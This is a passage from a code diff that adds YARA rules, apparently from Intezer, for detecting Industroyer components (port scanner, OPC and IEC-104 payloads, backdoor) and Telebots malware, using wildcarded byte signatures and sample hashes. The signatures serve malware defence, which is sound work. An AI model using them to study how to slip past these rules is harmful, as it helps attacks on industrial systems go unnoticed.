+		$block_0 = { 5? 8B ?? 83 ?? ?? 83 ?? ?? 83 ?? ?? 5? 8B ?? ?? 89 ?? ?? ?? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 0F 10 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 5? 0F 11 ?? ?? 5? 0F 10 ?? ?? ?? ?? ?? 89 ?? ?? 33 ?? 8D ?? ?? ?? ?? ?? 5? 0F 11 ?? ?? 68 ?? ?? ?? ?? 0F 10 ?? ?? ?? ?? ?? 5? 8D ?? ?? 0F 11 ?? ?? 5? 0F 10 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 0F 11 ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_1 = { 6A ?? 5? FF 1? ?? ?? ?? ?? 3D ?? ?? ?? ?? B9 ?? ?? ?? ?? BF ?? ?? ?? ?? 0F 46 ?? 3D ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 46 ?? 3D ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 46 ?? 3D ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 46 ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? 8D ?? ?? 6A ?? 5? 5? 5? 5? FF 1? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 5? FF 1? }
+		$block_2 = { 5? FF 1? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 8B ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 81 F? ?? ?? ?? ?? 0F 83 }
+		$block_3 = { FF B? ?? ?? ?? ?? FF D? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? FF B? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_4 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? FF B? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_5 = { FF B? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F B6 ?? 8B ?? ?? ?? ?? ?? 0F 44 ?? 83 ?? ?? 83 ?? ?? 72 }
+
+	condition:
+		hash.sha256(0, filesize) == "018eb62e174efdcdb3af011d34b0bf2284ed1a803718fba6edffe5bc0b446b81" or
+		hash.sha256(0, filesize) == "ad23c7930dae02de1ea3c6836091b5fb3c62a89bf2bcfb83b4b39ede15904910" or
+		6 of them
+}
+
+rule IndustroyerPortScanner {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 83 ?? ?? ?? ?? ?? ?? 0F 43 ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 33 ?? 5? 8B ?? 4? }
+		$block_1 = { 5? 8B ?? 5? 8B ?? ?? 83 ?? ?? 5? 8B ?? 5? 39 ?? ?? 8B ?? 0F 42 ?? ?? 8B ?? ?? 2B ?? 3B ?? 0F 86 }
+		$block_2 = { 83 ?? ?? ?? 8D ?? ?? 0F 43 ?? ?? 83 ?? ?? ?? 5? 0F 43 ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 }
+		$block_3 = { 8B ?? ?? ?? 89 ?? ?? ?? 8B ?? ?? ?? 2B ?? 89 ?? ?? ?? 6A ?? 5? 99 F7 ?? 89 ?? ?? ?? 83 ?? ?? 7C }
+		$block_4 = { 39 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 0F 43 ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 83 ?? ?? 0F 8F }
+		$block_5 = { 83 ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 0F 43 ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 3B ?? 0F 87 }
+		$block_6 = { 5? 8B ?? 5? 5? 5? 33 ?? 89 ?? ?? 33 ?? 38 ?? ?? 5? 8B ?? ?? 0F 94 ?? 5? 8B ?? ?? 89 ?? ?? 89 }
+		$block_7 = { 39 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 0F 43 ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 83 ?? ?? 0F 8C }
+		$block_8 = { 8B ?? 33 ?? 8B ?? ?? 83 ?? ?? 8B ?? ?? 2B ?? 89 ?? ?? 4? D1 ?? 3B ?? ?? 0F 47 ?? 85 ?? 74 }
+		$block_9 = { 39 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 0F 43 ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 85 ?? 0F 88 }
+		$block_10 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? 6A ?? 5? 99 F7 ?? 8D ?? ?? 8B ?? 83 ?? ?? 0F 86 }
+		$block_11 = { 39 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 0F 43 ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 3B ?? 0F 8F }
+		$block_12 = { 5? 8B ?? 5? F7 ?? ?? ?? ?? ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 89 ?? ?? 89 ?? ?? 74 }
+		$block_13 = { 5? 8B ?? 83 ?? ?? 5? 6A ?? 8D ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 5? 89 ?? ?? 3B ?? 0F 84 }
+		$block_14 = { 39 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 0F 43 ?? ?? ?? ?? ?? 33 ?? 66 }
+		$block_15 = { 5? 5? 5? 5? 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 84 ?? 0F 84 }
+		$block_16 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? CC 5? 8B ?? 83 ?? ?? 5? 8B ?? 5? 80 7? ?? ?? 0F 85 }
+		$block_17 = { 8B ?? ?? 8B ?? ?? 8B ?? C1 ?? ?? 8B ?? 83 ?? ?? 0F B6 ?? ?? 0F AB ?? 88 ?? ?? EB }
+		$block_18 = { 39 ?? ?? 8D ?? ?? 0F 43 ?? ?? 5? E8 ?? ?? ?? ?? BB ?? ?? ?? ?? 5? 3B ?? 0F 8F }
+		$block_19 = { 39 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 0F 43 ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? EB }
+		$block_20 = { 39 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 0F 43 ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? E9 }
+		$block_21 = { 8B ?? ?? 0F B7 ?? 8B ?? 83 ?? ?? C1 ?? ?? 5? 0F B6 ?? ?? 0F AB ?? 88 ?? ?? EB }
+		$block_22 = { 8B ?? ?? 8B ?? ?? 2B ?? 6A ?? 5? 99 F7 ?? 8D ?? ?? 89 ?? ?? 83 ?? ?? 0F 86 }
+		$block_23 = { 8B ?? ?? 2B ?? 8B ?? ?? 3B ?? 89 ?? ?? 0F 42 ?? 83 ?? ?? 2B ?? 3B ?? 76 }
+		$block_24 = { 6A ?? 5? 8D ?? ?? ?? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? CC 8B ?? 85 ?? 74 }
+		$block_25 = { 6A ?? 6A ?? 8D ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 3B ?? ?? 0F 85 }
+		$block_26 = { 83 ?? ?? ?? 0F 43 ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 5? }
+		$block_27 = { 5? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_28 = { 39 ?? ?? 8D ?? ?? 0F 43 ?? ?? 5? E8 ?? ?? ?? ?? 5? 85 ?? 0F 88 }
+		$block_29 = { 39 ?? ?? 8D ?? ?? 0F 43 ?? ?? 5? E8 ?? ?? ?? ?? 5? 3B ?? 0F 8F }
+		$block_30 = { 83 ?? ?? ?? 8D ?? ?? 0F 43 ?? ?? 5? E8 ?? ?? ?? ?? 5? 3B ?? 77 }
+		$block_31 = { 8D ?? ?? 8D ?? ?? A5 A5 A5 A5 8B ?? ?? 83 ?? ?? ?? 75 }
+		$block_32 = { FF 4? ?? 8B ?? ?? 8B ?? ?? 0F B7 ?? ?? 8B ?? 5? E8 }
+		$block_33 = { 39 ?? ?? 8D ?? ?? 0F 43 ?? ?? 5? 68 ?? ?? ?? ?? EB }
+		$block_34 = { 8B ?? ?? 5? 5? E8 ?? ?? ?? ?? 0F B6 ?? 3B ?? ?? 75 }
+		$block_35 = { 5? 8B ?? 83 ?? ?? 5? 8B ?? 5? 80 7? ?? ?? 0F 85 }
+		$block_36 = { 2B ?? 99 F7 ?? ?? ?? 89 ?? ?? ?? 3B ?? ?? ?? 75 }
+
+	condition:
+		hash.sha256(0, filesize) == "2dd7d880975dd90ea0d9d400319741c74b9491a0dc2b1c13ce3a850f37e03184" or
+		12 of them
+}
+
+rule IndustroyerPayloadOPC {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 6A ?? 6A ?? FF 7? ?? C6 ?? ?? 5? 6A ?? 5? 6A ?? 6A ?? FF 1? ?? ?? ?? ?? 33 ?? 85 ?? 0F 44 ?? EB }
+		$block_1 = { 5? 5? 6A ?? FF 7? ?? 33 ?? 5? 6A ?? 66 ?? ?? FF 1? ?? ?? ?? ?? 33 ?? 85 ?? 0F 44 ?? EB }
+		$block_2 = { 5? 5? 6A ?? 33 ?? 5? 5? 6A ?? 66 ?? ?? FF 1? ?? ?? ?? ?? 33 ?? 85 ?? 0F 44 ?? EB }
+		$block_3 = { 83 ?? ?? 89 ?? ?? 8D ?? ?? 0F 43 ?? ?? C6 ?? ?? 8B ?? ?? 8B ?? ?? EB }
+		$block_4 = { 8B ?? ?? 8D ?? ?? 5? 8D ?? ?? 5? 8B ?? 6A ?? 5? FF 5? ?? 85 ?? 0F 85 }
+		$block_5 = { 8B ?? 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? 5? FF 5? ?? 85 ?? 0F 88 }
+		$block_6 = { 89 ?? ?? 0F B6 ?? ?? C7 ?? ?? ?? ?? ?? ?? 89 ?? 3B ?? ?? 73 }
+		$block_7 = { 0F 57 ?? 0F 11 ?? ?? ?? ?? ?? 0F 11 ?? ?? ?? ?? ?? 66 }
+		$block_8 = { 8D ?? ?? 5? 8D ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 88 }
+		$block_9 = { 0F B7 ?? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 74 }
+
+	condition:
+		hash.sha256(0, filesize) == "156bd34d713d0c8419a5da040b3c2dd48c4c6b00d8a47698e412db16b1ffac0f" or
+		10 of them
+}
+
+rule IndustroyerBackdoor {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 33 ?? 5? FF 7? ?? 5? 5? 5? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_1 = { 5? 8D ?? ?? ?? ?? ?? 33 ?? 5? 5? 8D ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_2 = { 5? 8B ?? 8B ?? ?? 33 ?? 8B ?? ?? 5? 03 ?? 8B ?? 2B ?? 5? 33 ?? 3B ?? 0F 47 ?? 8B ?? ?? 85 ?? 74 }
+		$block_3 = { 89 ?? ?? 6A ?? 6A ?? 5? FF 1? ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 9? 9? 3D ?? ?? ?? ?? 0F 84 }
+		$block_4 = { 83 ?? ?? 5? 8B ?? 83 ?? ?? 5? 5? 8D ?? ?? 33 ?? 5? 8B ?? ?? 89 ?? ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_5 = { 5? FF 7? ?? 33 ?? 4? 5? 5? E8 ?? ?? ?? ?? 6A ?? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_6 = { 33 ?? 5? 5? E8 ?? ?? ?? ?? 8D ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_7 = { 83 ?? ?? 5? 8B ?? 83 ?? ?? 5? 5? 8D ?? ?? 33 ?? 5? 8B ?? ?? 89 ?? ?? 3D ?? ?? ?? ?? 0F 84 }
+		$block_8 = { 8B ?? ?? 33 ?? 8B ?? ?? 5? 03 ?? 8B ?? 2B ?? 5? 33 ?? 3B ?? 0F 47 ?? 8B ?? ?? 85 ?? 74 }
+		$block_9 = { 5? 8B ?? 83 ?? ?? 5? 5? 8D ?? ?? 33 ?? 5? 8B ?? ?? 89 ?? ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_10 = { 5? FF 1? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 9? 9? 9? 9? FF 7? ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_11 = { 5? 8B ?? 83 ?? ?? 5? 5? 8D ?? ?? 33 ?? 5? 8B ?? ?? 89 ?? ?? 3D ?? ?? ?? ?? 0F 84 }
+		$block_12 = { 33 ?? 0F 94 ?? 89 ?? ?? 9? 9? 9? 9? 33 ?? E8 ?? ?? ?? ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_13 = { 33 ?? 5? 5? E8 ?? ?? ?? ?? 8D ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 84 }
+		$block_14 = { FF 1? ?? ?? ?? ?? 8B ?? 5? E8 ?? ?? ?? ?? 5? 6A ?? 8B ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_15 = { E8 ?? ?? ?? ?? FF 7? ?? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_16 = { 5? 8B ?? 83 ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 85 ?? 0F 84 }
+		$block_17 = { 5? FF 1? ?? ?? ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 5? 3D ?? ?? ?? ?? 0F 84 }
+		$block_18 = { 5? FF 7? ?? FF 7? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_19 = { 8D ?? ?? 5? 5? 6A ?? FF 7? ?? 5? FF 3? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_20 = { 2B ?? ?? 03 ?? 5? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 5? 5? 85 ?? 0F 85 }
+		$block_21 = { 89 ?? ?? 33 ?? FF 3? 4? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 3B ?? 0F 82 }
+		$block_22 = { FF 7? ?? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_23 = { 5? 8D ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_24 = { FF 7? ?? E8 ?? ?? ?? ?? 8B ?? ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_25 = { E8 ?? ?? ?? ?? 83 ?? ?? 5? 8B ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_26 = { FF 7? ?? E8 ?? ?? ?? ?? 8B ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_27 = { 33 ?? 21 ?? ?? 66 ?? ?? ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_28 = { 5? 8B ?? 81 E? ?? ?? ?? ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_29 = { FF 3? E8 ?? ?? ?? ?? 8B ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_30 = { 5? E8 ?? ?? ?? ?? 8B ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_31 = { 33 ?? 5? 5? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 84 }
+		$block_32 = { 6A ?? 5? E8 ?? ?? ?? ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_33 = { 8D ?? ?? 5? 5? FF 7? ?? 5? 3D ?? ?? ?? ?? 0F 84 }
+		$block_34 = { 8D ?? ?? 5? 5? 6A ?? 5? 81 F? ?? ?? ?? ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "37d54e3d5e8b838f366b9c202f75fa264611a12444e62ae759c31a0d041aa6e4" or
+		hash.sha256(0, filesize) == "6d707e647427f1ff4a7a9420188a8831f433ad8c5325dc8b8cc6fc5e7f1f6f47" or
+		hash.sha256(0, filesize) == "ecaf150e087ddff0ec6463c92f7f6cca23cc4fd30fe34c10b3cb7c2a6d135c77" or
+		hash.sha256(0, filesize) == "3e3ab9674142dec46ce389e9e759b6484e847f5c1e1fc682fc638fc837c13571" or
+		12 of them
+}
+
+rule IndustroyerPayloadIEC104 {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? 33 ?? 89 ?? 66 ?? ?? ?? 0F B6 ?? ?? 88 ?? 0F B6 ?? ?? 88 ?? ?? 0F B6 ?? ?? 83 ?? ?? 74 }
+		$block_1 = { B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 8B ?? C1 ?? ?? 03 ?? 8D ?? ?? 8B ?? C1 ?? ?? 2B ?? 0F 84 }
+		$block_2 = { 8B ?? ?? ?? ?? ?? 5? 6A ?? FF 3? ?? 5? 8B ?? E8 ?? ?? ?? ?? 83 ?? ?? 80 7? ?? ?? 0F 84 }
+		$block_3 = { 5? 8B ?? 5? 8B ?? ?? 8B ?? 0F B6 ?? 88 ?? ?? 0F B6 ?? ?? 88 ?? ?? 8A ?? ?? A8 ?? 74 }
+		$block_4 = { C6 ?? ?? ?? 0F B6 ?? ?? 0F BE ?? ?? D0 ?? 0F BE ?? C1 ?? ?? 03 ?? 89 ?? ?? 0F B6 }
+		$block_5 = { 8B ?? ?? ?? ?? ?? 33 ?? 2B ?? ?? ?? ?? ?? C1 ?? ?? 89 ?? ?? ?? 85 ?? 0F 84 }
+		$block_6 = { 8B ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? ?? 3B ?? ?? ?? 0F 86 }
+		$block_7 = { 0F B6 ?? ?? 83 ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 }
+		$block_8 = { 6A ?? FF 1? ?? ?? ?? ?? 89 ?? ?? BA ?? ?? ?? ?? 8B ?? 0F 1F }
+		$block_9 = { FF 3? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 80 7? ?? ?? 0F 85 }
+
+	condition:
+		hash.sha256(0, filesize) == "7907dd95c1d36cf3dc842a1bd804f0db511a0f68f4b3d382c23a3c974a383cad" or
+		10 of them
+}
+
+rule Telebots {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? 83 ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? ?? 03 ?? 5? 8B ?? ?? ?? ?? ?? 03 ?? 0F 84 }
+		$block_1 = { 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 0F B7 ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 33 ?? 83 ?? ?? 0F 94 ?? 4? }
+		$block_2 = { 0F B7 ?? ?? 5? 0F AF ?? ?? FF 7? ?? 03 ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B }
+		$block_3 = { 5? 5? 5? 6A ?? 5? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 83 ?? ?? 0F 84 }
+		$block_4 = { 8B ?? ?? 6A ?? 5? 8B ?? F3 ?? 8B ?? ?? 8D ?? ?? A5 66 ?? A4 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 }
+		$block_5 = { 80 3? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? C6 ?? ?? ?? 8D ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? 0F B7 ?? 74 }
+		$block_6 = { 5? 5? 5? FF 7? ?? FF 7? ?? 5? FF 7? ?? FF 7? ?? FF 7? ?? 6A ?? 5? E8 ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_7 = { 8B ?? ?? 6A ?? 5? 8B ?? F3 ?? 8B ?? ?? 8D ?? ?? 66 ?? A4 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 }
+		$block_8 = { 8B ?? ?? 05 ?? ?? ?? ?? 0F B7 ?? 89 ?? ?? 0F B7 ?? 5? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? 85 ?? 75 }
+		$block_9 = { 8B ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 0F B7 ?? B9 ?? ?? ?? ?? 66 ?? ?? 77 }
+		$block_10 = { 5? 8B ?? 83 ?? ?? 5? FF 3? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 33 ?? A3 ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_11 = { 8B ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 0F B7 ?? B9 ?? ?? ?? ?? 66 ?? ?? 76 }
+		$block_12 = { 0F B7 ?? 5? FF 7? ?? FF 7? ?? FF 7? ?? FF 7? ?? FF 7? ?? E8 ?? ?? ?? ?? 8D ?? ?? 85 ?? 74 }
+		$block_13 = { 6A ?? 5? 8B ?? F3 ?? 0F B7 ?? 5? FF 7? ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? EB }
+		$block_14 = { 0F B6 ?? ?? 99 8B ?? 03 ?? ?? ?? ?? ?? 13 ?? ?? ?? ?? ?? 89 ?? ?? 39 ?? ?? ?? ?? ?? 75 }
+		$block_15 = { FF 7? ?? ?? 8D ?? ?? ?? FF 7? ?? ?? 5? 5? FF 7? ?? ?? 8B ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_16 = { 0F B7 ?? ?? 8B ?? ?? 01 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? 85 ?? 75 }
+		$block_17 = { 33 ?? 39 ?? ?? 6A ?? 0F 95 ?? 4? 5? FF 3? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 3B ?? 74 }
+		$block_18 = { 6A ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 33 ?? 39 ?? ?? 0F 84 }
+		$block_19 = { 5? 8B ?? 83 ?? ?? 5? 68 ?? ?? ?? ?? 33 ?? FF 1? ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_20 = { 8D ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_21 = { 33 ?? 4? 66 ?? ?? ?? 6A ?? C6 ?? ?? 5? 66 ?? ?? ?? 8B ?? 8D ?? ?? A5 A5 A5 8B }
+		$block_22 = { 8D ?? ?? 5? 8B ?? ?? 6A ?? FF 7? ?? 03 ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_23 = { 8D ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 3B ?? 0F 8C }
+		$block_24 = { 5? FF 7? ?? FF 7? ?? 5? FF 1? ?? ?? ?? ?? 33 ?? 85 ?? 0F 9F ?? 8D ?? ?? EB }
+		$block_25 = { 0F B7 ?? ?? 83 ?? ?? ?? 5? 5? 0F B7 ?? ?? 8D ?? ?? ?? 89 ?? ?? 85 ?? 7E }
+		$block_26 = { 8D ?? ?? ?? 5? 5? C7 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_27 = { 0F B7 ?? ?? 01 ?? ?? 81 4? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 66 ?? ?? ?? 76 }
+		$block_28 = { 8B ?? ?? 83 ?? ?? 0F B7 ?? 5? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_29 = { 8D ?? ?? 5? 8B ?? ?? 8B ?? ?? FF 3? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_30 = { 33 ?? 4? 6A ?? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_31 = { 5? 5? FF 1? ?? ?? ?? ?? 5? FF 7? ?? 33 ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_32 = { 6A ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 85 ?? 0F 88 }
+		$block_33 = { 0F B7 ?? ?? 21 ?? ?? 21 ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 89 }
+		$block_34 = { 5? 8B ?? 5? 5? 5? 6A ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_35 = { 68 ?? ?? ?? ?? 6A ?? 6A ?? 5? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_36 = { FF 7? ?? ?? 6A ?? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? 3B ?? 0F 84 }
+		$block_37 = { FF 7? ?? 8B ?? ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_38 = { 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 0F 85 }
+		$block_39 = { 8B ?? ?? 83 ?? ?? 0F B7 ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 85 ?? 75 }
+		$block_40 = { 80 3? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 74 }
+		$block_41 = { 5? FF 7? ?? 6A ?? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_42 = { 8B ?? ?? 6A ?? 6A ?? 89 ?? FF D? 5? FF D? 89 ?? ?? 85 ?? 0F 84 }
+		$block_43 = { 5? 68 ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_44 = { 8D ?? ?? 66 ?? ?? 0F B7 ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? 85 ?? 74 }
+		$block_45 = { 0F B7 ?? 0F B7 ?? 5? FF 7? ?? 2B ?? 03 ?? 5? E8 ?? ?? ?? ?? 83 }
+		$block_46 = { 5? 5? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_47 = { 0F B7 ?? ?? 83 ?? ?? ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 85 ?? 75 }
+		$block_48 = { 83 ?? ?? ?? 0F B7 ?? 8B ?? ?? 5? 5? E8 ?? ?? ?? ?? 85 ?? 75 }
+		$block_49 = { 6A ?? 5? 8B ?? F3 ?? 8B ?? 8D ?? ?? A5 A5 A5 A5 A4 8B ?? EB }
+		$block_50 = { 8B ?? ?? 8B ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_51 = { 8B ?? ?? 5? E8 ?? ?? ?? ?? 33 ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_52 = { 8D ?? ?? 66 ?? ?? 0F B7 ?? 5? E8 ?? ?? ?? ?? 85 ?? 74 }
+		$block_53 = { 5? 5? BE ?? ?? ?? ?? 8B ?? A5 A5 66 ?? 6A ?? A4 5? }
+		$block_54 = { 8D ?? ?? 0F B7 ?? 5? E8 ?? ?? ?? ?? 8B ?? 85 ?? 75 }
+		$block_55 = { 0F B7 ?? 5? FF 7? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 83 }
+		$block_56 = { FF 7? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? 85 ?? 0F 84 }
+		$block_57 = { 5? 5? 6A ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_58 = { 8B ?? 8B ?? A5 A5 A5 83 ?? ?? 83 ?? ?? 4? A5 75 }
+		$block_59 = { 99 03 ?? ?? ?? ?? ?? 13 ?? 89 ?? ?? 89 ?? ?? EB }
+		$block_60 = { 0F B7 ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
